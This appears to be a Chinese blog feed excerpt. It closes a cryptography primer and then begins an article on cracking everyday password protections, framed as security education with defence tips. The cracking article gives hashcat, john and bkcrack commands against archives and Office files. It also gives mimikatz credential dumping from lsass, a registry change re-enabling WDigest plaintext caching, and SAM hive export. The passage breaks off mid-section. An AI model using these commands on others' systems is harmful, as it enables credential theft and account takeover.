底层加密标准</td></tr><tr><td>IV&#x2F;Nonce</td><td>Initialization Vector</td><td>随机数，确保相同明文每次产生不同密文</td></tr><tr><td>MAC</td><td>Message Authentication Code</td><td>消息认证码，验证数据完整性和来源</td></tr><tr><td>HMAC</td><td>Hash-based MAC</td><td>基于哈希的消息认证码</td></tr><tr><td>AEAD</td><td>Authenticated Encryption with Associated Data</td><td>认证加密，同时提供加密和完整性</td></tr><tr><td>PFS</td><td>Perfect Forward Secrecy</td><td>完美前向安全，长期密钥泄露不影响历史通信</td></tr><tr><td>PQC</td><td>Post-Quantum Cryptography</td><td>后量子密码，抵抗量子计算机攻击</td></tr><tr><td>KDF</td><td>Key Derivation Function</td><td>密钥派生函数，从密码生成密钥</td></tr><tr><td>Salt</td><td>Salt</td><td>随机数据，与密码混合后哈希，防彩虹表</td></tr><tr><td>ECDHE</td><td>Elliptic Curve Diffie-Hellman Ephemeral</td><td>椭圆曲线临时 DH 密钥交换，提供前向安全</td></tr><tr><td>GCM</td><td>Galois&#x2F;Counter Mode</td><td>AES 的认证加密模式（推荐）</td></tr><tr><td>OAEP</td><td>Optimal Asymmetric Encryption Padding</td><td>RSA 的安全填充方案</td></tr></tbody></table><h3 id="16-2-OpenSSL-常用命令速查"><a href="#16-2-OpenSSL-常用命令速查" class="headerlink" title="16.2 OpenSSL 常用命令速查"></a>16.2 OpenSSL 常用命令速查</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 对称加密/解密</span></span><br><span class="line">openssl enc -aes-256-gcm -pbkdf2 -<span class="keyword">in</span> plain.txt -out cipher.enc</span><br><span class="line">openssl enc -d -aes-256-gcm -pbkdf2 -<span class="keyword">in</span> cipher.enc -out plain.txt</span><br><span class="line"></span><br><span class="line"><span class="comment"># 生成 RSA 密钥</span></span><br><span class="line">openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:4096 -out private.pem</span><br><span class="line">openssl pkey -<span class="keyword">in</span> private.pem -pubout -out public.pem</span><br><span class="line"></span><br><span class="line"><span class="comment"># 生成 ECC 密钥（推荐）</span></span><br><span class="line">openssl genpkey -algorithm EC -pkeyopt ec_paramgen_curve:prime256v1 -out ec_private.pem</span><br><span class="line"></span><br><span class="line"><span class="comment"># 哈希</span></span><br><span class="line">openssl dgst -sha256 file.txt</span><br><span class="line"></span><br><span class="line"><span class="comment"># 数字签名</span></span><br><span class="line">openssl dgst -sha256 -sign private.pem -out sig.bin file.txt</span><br><span class="line">openssl dgst -sha256 -verify public.pem -signature sig.bin file.txt</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看证书</span></span><br><span class="line">openssl x509 -<span class="keyword">in</span> cert.pem -text -noout</span><br><span class="line"></span><br><span class="line"><span class="comment"># TLS 连接测试</span></span><br><span class="line">openssl s_client -connect example.com:443 -tls1_3</span><br></pre></td></tr></table></figure><h3 id="16-3-算法选择决策速查表"><a href="#16-3-算法选择决策速查表" class="headerlink" title="16.3 算法选择决策速查表"></a>16.3 算法选择决策速查表</h3><table><thead><tr><th>场景</th><th>推荐算法</th><th>备选</th></tr></thead><tbody><tr><td>加密大量数据</td><td>AES-256-GCM</td><td>ChaCha20-Poly1305</td></tr><tr><td>密钥交换</td><td>ECDHE (X25519)</td><td>ML-KEM（后量子）</td></tr><tr><td>数字签名</td><td>Ed25519</td><td>ECDSA P-256 &#x2F; RSA-4096</td></tr><tr><td>密码存储</td><td>Argon2id</td><td>bcrypt (cost≥12)</td></tr><tr><td>哈希&#x2F;完整性</td><td>SHA-256 &#x2F; BLAKE3</td><td>SHA-512 &#x2F; SHA-3</td></tr><tr><td>消息认证</td><td>HMAC-SHA256</td><td>Poly1305</td></tr><tr><td>国内合规</td><td>SM2 + SM3 + SM4</td><td>SM9</td></tr><tr><td>后量子安全</td><td>ML-KEM + ML-DSA</td><td>Hybrid: X25519 + ML-KEM</td></tr><tr><td>邮件加密</td><td>GPG (RSA-4096 + AES-256)</td><td>S&#x2F;MIME</td></tr><tr><td>全盘加密</td><td>AES-XTS-256</td><td>—</td></tr></tbody></table><div id="footnotes"><hr><div id="footnotelist"><ol style="list-style:none;padding-left:0;margin-left:40px"><li id="fn:1"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">1.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">手机上可能看不到悬停效果，请对照本节末尾的缩写表查阅。 <a href="#fnref:1" rev="footnote">↩</a></span></li><li id="fn:10"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">10.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">**多表替换密码（Polyalphabetic Substitution Cipher）**：使用**多张不同的替换表**，在加密过程中交替切换，使得同一个明文字母在不同位置被替换成不同的密文字母。这打破了单表替换的频率特征，曾长期被认为无法破解。 <a href="#fnref:10" rev="footnote">↩</a></span></li><li id="fn:11"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">11.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">**一次性密码本（One-Time Pad, OTP）**：加密时，密钥必须满足三个条件——(1) 密钥和明文**一样长**；(2) 密钥**完全随机**（每个比特独立随机）；(3) 密钥**只用一次**。加密操作：密�� = 明文 ⊕ 密钥（按位异或）。因为密钥完全随机，密文里不含任何明文的统计规律，数学上被证明无法破解。但缺点也致命：密钥太长（和文件一样大）且只能用一次，实际中几乎无法操作——你用一个 1GB 的密钥加密 1GB 的视频，那你怎么安全地把那个 1GB 的密钥送给接收方呢？这又回到了密钥分发问题。 <a href="#fnref:11" rev="footnote">↩</a></span></li><li id="fn:12"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">12.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">**公钥密码学（Public-key Cryptography）** 的核心思想是**加密和解密使用不同的密钥**：一个公开给全世界（公钥），一个死守在自己手里（私钥）。公钥加密的内容只有私钥能解开。这意味着你不再需要事先和安全地把密钥交给对方——对方只需用你的公钥加密即可。这是与前两千年所有加密方法的根本区别。 <a href="#fnref:12" rev="footnote">↩</a></span></li><li id="fn:13"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">13.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">**密钥分发问题**：在公钥密码学发明之前，Alice 和 Bob 想要加密通信，必须先在安全的环境下（比如面对面）交换同一把密钥。想象一支军队要在战场上发送加密电报——先得派人把密钥本送到前线，而送密钥的人本身就是安全漏洞。 <a href="#fnref:13" rev="footnote">↩</a></span></li><li id="fn:14"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">14.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">**DES（Data Encryption Standard，数据加密标准）**：56 位密钥的对称分组密码，按今天的标准极弱（56 位密钥可被暴力破解）。但它历史意义巨大——它是第一个公开了完整算法细节的政府标准，开启了「公开算法、公开讨论、全球检验」的现代密码学范式。 <a href="#fnref:14" rev="footnote">↩</a></span></li><li id="fn:15"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">15.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">**碰撞（Collision）**：两个不同的输入产生完全相同的哈希值。MD5 碰撞 = 你可以伪造一个和正版软件有相同 MD5 值的恶意软件，数字签名验证照样通过。 <a href="#fnref:15" rev="footnote">↩</a></span></li><li id="fn:16"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">16.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">**不可否认性（Non-repudiation）**：发送者无法否认自己发送过某条消息。因为数字签名只能用发送者的私钥生成，一旦签名验证通过，技术上就能证明"这条消息确实出自你之手"。 <a href="#fnref:16" rev="footnote">↩</a></span></li><li id="fn:17"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">17.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">**盐（Salt）**：在哈希密码前，先给密码拼接一段随机字符串。即使两个用户用了完全一样的密码，因为盐不同，哈希结果也完全不同——攻击者无法用预计算的"彩虹表"批量破解。 <a href="#fnref:17" rev="footnote">↩</a></span></li><li id="fn:18"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">18.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">**彩虹表攻击**：攻击者预先算好大量常见密码的哈希值存成表。如果密码没加盐，他只需查表就能秒破。加了盐后，他必须为每个用户单独计算，时间成本从秒级变成年级。 <a href="#fnref:18" rev="footnote">↩</a></span></li><li id="fn:19"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">19.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">**异或（XOR，符号⊕）**：一种按位运算。规则：0⊕0=0, 0⊕1=1, 1⊕0=1, 1⊕1=0。关键性质：A ⊕ B ⊕ B = A（异或两次等于还原），这正是流密码加密和解密用同一操作的原因。 <a href="#fnref:19" rev="footnote">↩</a></span></li><li id="fn:20"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">20.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">**AES（Advanced Encryption Standard，高级加密标准）**：分组加密算法，始终处理 128 位（16 字节）的数据块，密钥可选 128/192/256 位。于 2001 年取代 DES 成为美国联邦标准，至今无实用攻击。 <a href="#fnref:20" rev="footnote">↩</a></span></li><li id="fn:21"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">21.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">**SPN（代换-置换网络）**：AES 的核心架构。**代换（Substitution）**：用非线性变换混淆数据（S 盒）；**置换（Permutation）**：打乱数据的位置关系（行移位+列混淆）。两者交替多轮，让"输入每个比特的改变都影响输出的所有比特"——这叫**雪崩效应**。 <a href="#fnref:21" rev="footnote">↩</a></span></li><li id="fn:22"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">22.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">**ECC（Elliptic Curve Cryptography，椭圆曲线密码学）**：基于椭圆曲线上的离散对数难题。为什么叫"椭圆曲线"？因为研究的方程 y² = x³ + ax + b 在图形上像压扁的椭圆。你不用懂图形，只需知道：在这条曲线上定义了一种特殊的"点加法"，K = k × G（G 是公开的起点，k 是私钥，K 是公钥），从 K 反推 k 极其困难。 <a href="#fnref:22" rev="footnote">↩</a></span></li><li id="fn:23"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">23.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">**离散对数问题（DLP）**：给定 g, p, 和 gª mod p，求 a。正向计算 gª mod p 很容易（用快速幂算法），但逆向几乎不可能。想像一下：你知道的是计算结果，但不知道"g 乘了自己多少次"——这就是离散对数困难所在。 <a href="#fnref:23" rev="footnote">↩</a></span></li><li id="fn:24"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">24.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">**为什么叫"逆向使用"？** 正常加密：公钥加密 → 私钥解密（保证机密性）。数字签名反过来：私钥"加密" → 公钥"解密"（验证真实性）。因为只有 Alice 持有私钥，所以只有 Alice 能产生这个签名——用公钥验证通过就证明"这条消息确实来自 Alice"。 <a href="#fnref:24" rev="footnote">↩</a></span></li><li id="fn:25"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">25.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">**PKI（Public Key Infrastructure，公钥基础设施）**：管理数字证书的完整体系。核心思想是"信任链"——你信任根 CA，根 CA 信任中间 CA，中间 CA 担保这个公钥确实属于 taobao.com。你的浏览器内置了全球几十个根 CA 的公钥，自动完成这条链的验证。 <a href="#fnref:25" rev="footnote">↩</a></span></li><li id="fn:26"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">26.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">**认证加密（AEAD）**：用一个操作同时完成加密和完整性校验。这意味着数据如果被篡改过，解密时直接报错——攻击者既看不到内容，也无法悄无声息地修改。GCM 和 ChaCha20-Poly1305 都是 AEAD 模式。 <a href="#fnref:26" rev="footnote">↩</a></span></li><li id="fn:27"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">27.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">**TLS（Transport Layer Security，传输层安全协议）** 是 HTTPS 的底层加密标准。你在浏览器地址栏看到的小锁图标 🔒，就表示当前连接使用了 TLS 加密。 <a href="#fnref:27" rev="footnote">↩</a></span></li><li id="fn:28"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">28.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">**零知识加密（Zero-Knowledge Encryption）**：服务提供商的服务器上**只存加密后的密文**。你的主密码和密钥从不离开你的设备。即使公司被法院传票，也只能交出加密过的垃圾数据——因为他们根本没有密钥。 <a href="#fnref:28" rev="footnote">↩</a></span></li></ol></div></div>]]>
    </content>
    <id>https://misaka10013.cn/p/3138988098.html</id>
    <link href="https://misaka10013.cn/p/3138988098.html"/>
    <published>2026-07-30T07:00:00.000Z</published>
    <summary>
      <![CDATA[<blockquote>
<p><strong>📌 本文定位：</strong> 这是一份面向初学者的加密解密领域知识库全景图。读完本文，你将理解密码学<strong>从古至今的完整脉络</strong>，掌握<strong>核心算法原理</strong>，并能够<strong>动手完成加密解密实操</strong>。文中所有专业术语都会在首次出现时以悬停提示<abbr title="鼠标悬停即可看到解释，试试看！">（像这样）</abbr>的方式给出解释，重要论文和资料会附上原文链接，方便你跳转扩展阅读。</p>
</blockquote>
<hr>
<h2 id="第一章-加密解密领域概览"><a href="#第一章-加密解密领域概览" class="headerlink" title="第一章 加密解密领域概览"></a>第一章 加密解密领域概览</h2>]]>
    </summary>
    <title>加密解密知识库完全指南 —— 从凯撒密码到量子密码</title>
    <updated>2026-08-07T09:31:55.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>Misaka10013</name>
    </author>
    <category term="知识库" scheme="https://misaka10013.cn/categories/knowledge-base/"/>
    <category term="加密" scheme="https://misaka10013.cn/tags/%E5%8A%A0%E5%AF%86/"/>
    <category term="密码破解" scheme="https://misaka10013.cn/tags/%E5%AF%86%E7%A0%81%E7%A0%B4%E8%A7%A3/"/>
    <category term="安全" scheme="https://misaka10013.cn/tags/%E5%AE%89%E5%85%A8/"/>
    <category term="Hashcat" scheme="https://misaka10013.cn/tags/Hashcat/"/>
    <category term="JohnTheRipper" scheme="https://misaka10013.cn/tags/JohnTheRipper/"/>
    <category term="WiFi" scheme="https://misaka10013.cn/tags/WiFi/"/>
    <category term="压缩包" scheme="https://misaka10013.cn/tags/%E5%8E%8B%E7%BC%A9%E5%8C%85/"/>
    <category term="指纹" scheme="https://misaka10013.cn/tags/%E6%8C%87%E7%BA%B9/"/>
    <content>
      <![CDATA[<blockquote><p><strong>⚠️ 重要声明：</strong> 本文内容仅供安全教育和自我保护用途。未经授权破解他人的密码、系统或网络是违法行为。了解攻击方式是为了更好地防御，而不是成为攻击者。所有演示技术均针对”忘记自己密码”的场景。</p></blockquote><hr><h2 id="前言：密码真的在保护你吗？"><a href="#前言：密码真的在保护你吗？" class="headerlink" title="前言：密码真的在保护你吗？"></a>前言：密码真的在保护你吗？</h2><p>密码学理论上坚不可摧——AES-256 的密钥空间是 2²⁵⁶，用全世界的算力算到宇宙热寂也算不完。</p><p><strong>但在现实中，密码系统的弱点几乎从来不在数学上。</strong></p><p>攻击者不会去正面硬刚 AES-256。他们会：</p><ul><li>猜你的密码是「123456」还是「password」</li><li>找到你把密钥和密文放在一起的蠢设计</li><li>在你睡着的时候拿你的手指按指纹锁</li><li>用 GPU 每秒试 100 万次直到试对为止</li><li>绕过加密层，直接从内存里偷密钥</li></ul><p>本文逐一拆解普通人日常生活中会用到的<strong>每一种密码保护机制</strong>——文档加密、压缩包、Windows 登录、手机锁屏、Wi-Fi、指纹、硬盘加密、浏览器密码……扒开它的底层实现，告诉你<strong>弱点在哪里</strong>，以及<strong>怎么被破解</strong>。</p><p>每节的最后，都会给出一份「你现在就该做的事」——防御指南。</p><hr><h2 id="一、压缩包加密：ZIP-RAR-7z"><a href="#一、压缩包加密：ZIP-RAR-7z" class="headerlink" title="一、压缩包加密：ZIP &#x2F; RAR &#x2F; 7z"></a>一、压缩包加密：ZIP &#x2F; RAR &#x2F; 7z</h2><p>这是普通人最常遇到的「加密」场景。下载了一个压缩包要密码，或者自己忘了曾经设的密码。</p><h3 id="1-1-底层原理速览"><a href="#1-1-底层原理速览" class="headerlink" title="1.1 底层原理速览"></a>1.1 底层原理速览</h3><table><thead><tr><th>格式</th><th>加密算法</th><th>KDF（密钥派生）</th><th>GPU 破解速度（RTX 4090）</th></tr></thead><tbody><tr><td><strong>ZIP Legacy（PKZIP）</strong></td><td>自研 ZipCrypto（弱）</td><td>无</td><td><strong>15 亿 H&#x2F;s</strong>，8 位小写字母 ≈ 2 分钟</td></tr><tr><td><strong>ZIP WinZip AES</strong></td><td>AES-256</td><td>PBKDF2（1000 轮）</td><td><strong>约 40 万 H&#x2F;s</strong></td></tr><tr><td><strong>RAR3</strong></td><td>AES-128</td><td>自定义（约 26 万轮）</td><td>约 10 万 H&#x2F;s</td></tr><tr><td><strong>RAR5</strong></td><td>AES-256</td><td>PBKDF2-HMAC-SHA256（约 32 万轮）</td><td>约 10 万 H&#x2F;s</td></tr><tr><td><strong>7z</strong></td><td>AES-256</td><td>SHA-256 KDF（约 52 万轮）</td><td>约 10 万 H&#x2F;s</td></tr></tbody></table><blockquote><p><strong>关键信息：PKZIP（旧版 ZIP 加密）形同裸奔。RAR5 和 7z 因为 KDF 轮数高，破解极慢。</strong></p></blockquote><h3 id="1-2-破解方法全景"><a href="#1-2-破解方法全景" class="headerlink" title="1.2 破解方法全景"></a>1.2 破解方法全景</h3><p><strong>方法一：字典攻击（首选，成功率 90%）</strong></p><p>用包含常见密码的字典逐一尝试。rockyou.txt（1400 万条）是最有名的字典，里面全是真人用过的密码。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Hashcat 字典攻击 RAR5</span></span><br><span class="line">hashcat -m 13000 -a 0 rar_hash.txt rockyou.txt</span><br><span class="line"></span><br><span class="line"><span class="comment"># 参数说明：</span></span><br><span class="line"><span class="comment"># -m 13000  → RAR5 哈希模式</span></span><br><span class="line"><span class="comment"># -a 0      → 字典攻击</span></span><br><span class="line"><span class="comment"># -m 13600  → WinZip AES</span></span><br><span class="line"><span class="comment"># -m 11600  → 7z</span></span><br><span class="line"><span class="comment"># -m 17200  → PKZIP（旧版ZIP，极快）</span></span><br></pre></td></tr></table></figure><p><strong>方法二：掩码攻击（知道部分信息时）</strong></p><p>如果你记得密码是 6 位纯数字：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">hashcat -m 13000 -a 3 rar_hash.txt ?d?d?d?d?d?d</span><br><span class="line"><span class="comment"># ?d = 数字  ?l = 小写  ?u = 大写  ?s = 特殊符号</span></span><br></pre></td></tr></table></figure><p><strong>方法三：已知明文攻击（PKZIP 专属杀招）</strong></p><p>如果你知道压缩包内某个文件的<strong>完整或部分内容</strong>（比如里面有一个 <code>readme.txt</code> 你手头正好有原文件），可以用 bkcrack 从已知明文反推密钥——不用猜密码，直接解密整个压缩包。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 要求：至少 12 字节的已知明文内容</span></span><br><span class="line">bkcrack -C encrypted.zip -c readme.txt -p plain_readme.txt</span><br></pre></td></tr></table></figure><p>这招对 PKZIP（ZipCrypto）有效，对 AES 加密的 ZIP 无效。</p><h3 id="1-3-实战：完整破解流程"><a href="#1-3-实战：完整破解流程" class="headerlink" title="1.3 实战：完整破解流程"></a>1.3 实战：完整破解流程</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">Step 1: 提取哈希</span><br><span class="line">  rar2john secret.rar &gt; hash.txt</span><br><span class="line"></span><br><span class="line">Step 2: 准备字典</span><br><span class="line">  # 合并多个字典并去重</span><br><span class="line">  cat *.txt | sort -u &gt; combined.txt</span><br><span class="line"></span><br><span class="line">Step 3: GPU 破解</span><br><span class="line">  hashcat -m 13000 hash.txt combined.txt -O -w 3</span><br><span class="line"></span><br><span class="line">Step 4: 查看结果</span><br><span class="line">  hashcat -m 13000 hash.txt --show</span><br></pre></td></tr></table></figure><h3 id="1-4-防御指南"><a href="#1-4-防御指南" class="headerlink" title="1.4 防御指南"></a>1.4 防御指南</h3><blockquote><p><strong>现在就该做的：</strong></p><ul><li>创建加密压缩包时，<strong>选择 RAR5 或 7z 格式</strong>，并勾选「加密文件名」</li><li>密码至少 <strong>12 位，包含大小写字母+数字+符号</strong></li><li><strong>绝对不要用 ZIP Legacy（传统 ZIP 加密）</strong>——那是给破解者送人头</li><li>不要用出生日期、手机号、姓名拼音当密码</li></ul></blockquote><hr><h2 id="二、办公文档加密：Word-Excel-PDF"><a href="#二、办公文档加密：Word-Excel-PDF" class="headerlink" title="二、办公文档加密：Word &#x2F; Excel &#x2F; PDF"></a>二、办公文档加密：Word &#x2F; Excel &#x2F; PDF</h2><h3 id="2-1-底层原理"><a href="#2-1-底层原理" class="headerlink" title="2.1 底层原理"></a>2.1 底层原理</h3><p>Microsoft Office 的加密随版本演进变化很大：</p><table><thead><tr><th>Office 版本</th><th>加密算法</th><th>破解难度</th></tr></thead><tbody><tr><td><strong>Office 97-2003（.doc&#x2F;.xls&#x2F;.ppt）</strong></td><td>RC4（40 位密钥）</td><td><strong>秒破</strong>——攻击的不是密码，是直接打 40 位的密钥空间</td></tr><tr><td><strong>Office 2007-2010（.docx&#x2F;.xlsx）</strong></td><td>AES-128 + SHA-1</td><td>需要暴力破解</td></tr><tr><td><strong>Office 2013-2024（.docx&#x2F;.xlsx）</strong></td><td>AES-256 + SHA-512（10 万轮 PBKDF2）</td><td><strong>极难</strong>——每次尝试要算 10 万次哈希</td></tr></tbody></table><blockquote><p><strong>Office 2007 以后的文件，密码不存于文件中</strong>——文件只存 PBKDF2 的验证数据。没有后门，没有万能密码，只能暴力猜。</p></blockquote><p><strong>一个重要的陷阱：</strong> Excel 的「工作表保护」和「VBA 密码」<strong>不是加密</strong>——只是界面锁定。用 16 位 XOR 混淆校验值，任何恢复工具都能<strong>秒移除</strong>，不管密码多长。</p><h3 id="2-2-破解方法"><a href="#2-2-破解方法" class="headerlink" title="2.2 破解方法"></a>2.2 破解方法</h3><p><strong>Excel 97-2003（.xls）：直接打密钥空间</strong></p><p>利用 RC4 40 位密钥的弱点，直接逆向密钥而不是猜密码。任何工具都能秒解，100% 成功。</p><p><strong>Excel 2007+（.xlsx）：暴力破解</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 提取哈希</span></span><br><span class="line">office2john document.xlsx &gt; hash.txt</span><br><span class="line"></span><br><span class="line"><span class="comment"># GPU 暴力破解（Hashcat mode 9600）</span></span><br><span class="line">hashcat -m 9600 -a 0 hash.txt rockyou.txt</span><br></pre></td></tr></table></figure><p><strong>PDF 加密：分两种情况</strong></p><table><thead><tr><th>类型</th><th>说明</th><th>破解</th></tr></thead><tbody><tr><td><strong>Owner Password（权限密码）</strong></td><td>禁止打印&#x2F;编辑但能打开</td><td>在线工具秒移除</td></tr><tr><td><strong>User Password（打开密码）</strong></td><td>不输入打不开</td><td>需暴力破解，PDF 1.4 及以前用 RC4（弱），1.5+ 用 AES（强）</td></tr></tbody></table><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># PDF 哈希提取</span></span><br><span class="line">pdf2john.pl encrypted.pdf &gt; hash.txt</span><br><span class="line">john --wordlist=rockyou.txt hash.txt</span><br></pre></td></tr></table></figure><p><strong>工作表&#x2F;VBA 保护：秒解</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 方式一：直接把 .xlsx 改名 .zip</span></span><br><span class="line"><span class="comment"># 解压后编辑 xl/worksheets/sheet1.xml</span></span><br><span class="line"><span class="comment"># 删除 &lt;sheetProtection ...&gt; 标签</span></span><br><span class="line"><span class="comment"># 重新打包，改回 .xlsx —— 密码没了</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 方式二：用 Passcovery / AccentOPR 等工具一键移除</span></span><br></pre></td></tr></table></figure><h3 id="2-3-防御指南"><a href="#2-3-防御指南" class="headerlink" title="2.3 防御指南"></a>2.3 防御指南</h3><blockquote><p><strong>现在就该做的：</strong></p><ul><li>用 <strong>Office 2013 以上版本</strong>做加密（AES-256 + 10 万轮 PBKDF2）</li><li>不要把「工作表保护」当加密用——它是纸糊的</li><li>关键文档密码和压缩包一样：<strong>12 位以上混合</strong></li></ul></blockquote><hr><h2 id="三、Windows-系统登录密码"><a href="#三、Windows-系统登录密码" class="headerlink" title="三、Windows 系统登录密码"></a>三、Windows 系统登录密码</h2><h3 id="3-1-密码存在哪里"><a href="#3-1-密码存在哪里" class="headerlink" title="3.1 密码存在哪里"></a>3.1 密码存在哪里</h3><p>Windows 登录密码以 <strong>NTLM Hash</strong> 形式存储在 <code>C:\Windows\System32\config\SAM</code> 文件中。</p><p>生成方式非常弱：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">NTLM Hash = MD4( Unicode(密码明文) )</span><br></pre></td></tr></table></figure><p><strong>MD4 是 1990 年的老算法，GPU 暴力破解极快。</strong> 在 RTX 4090 上，NTLM Hash 的破解速度可达<strong>每秒数百亿次</strong>。</p><blockquote><p>但 SAM 文件在系统运行时被锁定，且受 SYSKEY 加密保护，无法直接读取。攻击者需要先获得管理员权限或物理访问。</p></blockquote><h3 id="3-2-Windows-10-11-内存中的明文密码"><a href="#3-2-Windows-10-11-内存中的明文密码" class="headerlink" title="3.2 Windows 10&#x2F;11 内存中的明文密码"></a>3.2 Windows 10&#x2F;11 内存中的明文密码</h3><p>在 Windows 10 2012R2 之前版本中，系统会将登录密码的<strong>明文</strong>缓存在 <code>lsass.exe</code> 进程中。Mimikatz 可以直接读出来。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Mimikatz 一键抓取（需管理员权限）</span></span><br><span class="line">mimikatz.exe <span class="string">&quot;privilege::debug&quot;</span> <span class="string">&quot;sekurlsa::logonpasswords&quot;</span> <span class="string">&quot;exit&quot;</span></span><br></pre></td></tr></table></figure><p>输出示例：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">Username : Administrator</span><br><span class="line">Domain   : DESKTOP-XXX</span><br><span class="line">Password : MyPassword123   ← 明文密码直接显示</span><br><span class="line">NTLM     : a1e33a2281b8c6dbc2373bff87e8cb6e</span><br></pre></td></tr></table></figure><p>Windows 10 2012 R2 及更高版本默认<strong>禁用了</strong>内存明文缓存，但可以通过修改注册表重新开启：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest \</span><br><span class="line">    /v UseLogonCredential /t REG_DWORD /d 1 /f</span><br><span class="line"><span class="comment"># 用户下次登录后，明文密码就会出现在内存中</span></span><br></pre></td></tr></table></figure><h3 id="3-3-离线破解：偷-SAM-文件"><a href="#3-3-离线破解：偷-SAM-文件" class="headerlink" title="3.3 离线破解：偷 SAM 文件"></a>3.3 离线破解：偷 SAM 文件</h3><p>如果你有物理访问权限（或已获得管理员权限）：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Step 1: 导出注册表</span></span><br><span class="line">reg save hklm\sam sam.hive</span><br><span class="line">reg save hklm\system system.hive</span><br><span class="line"></span><br><span class="line"><span class="comment"># 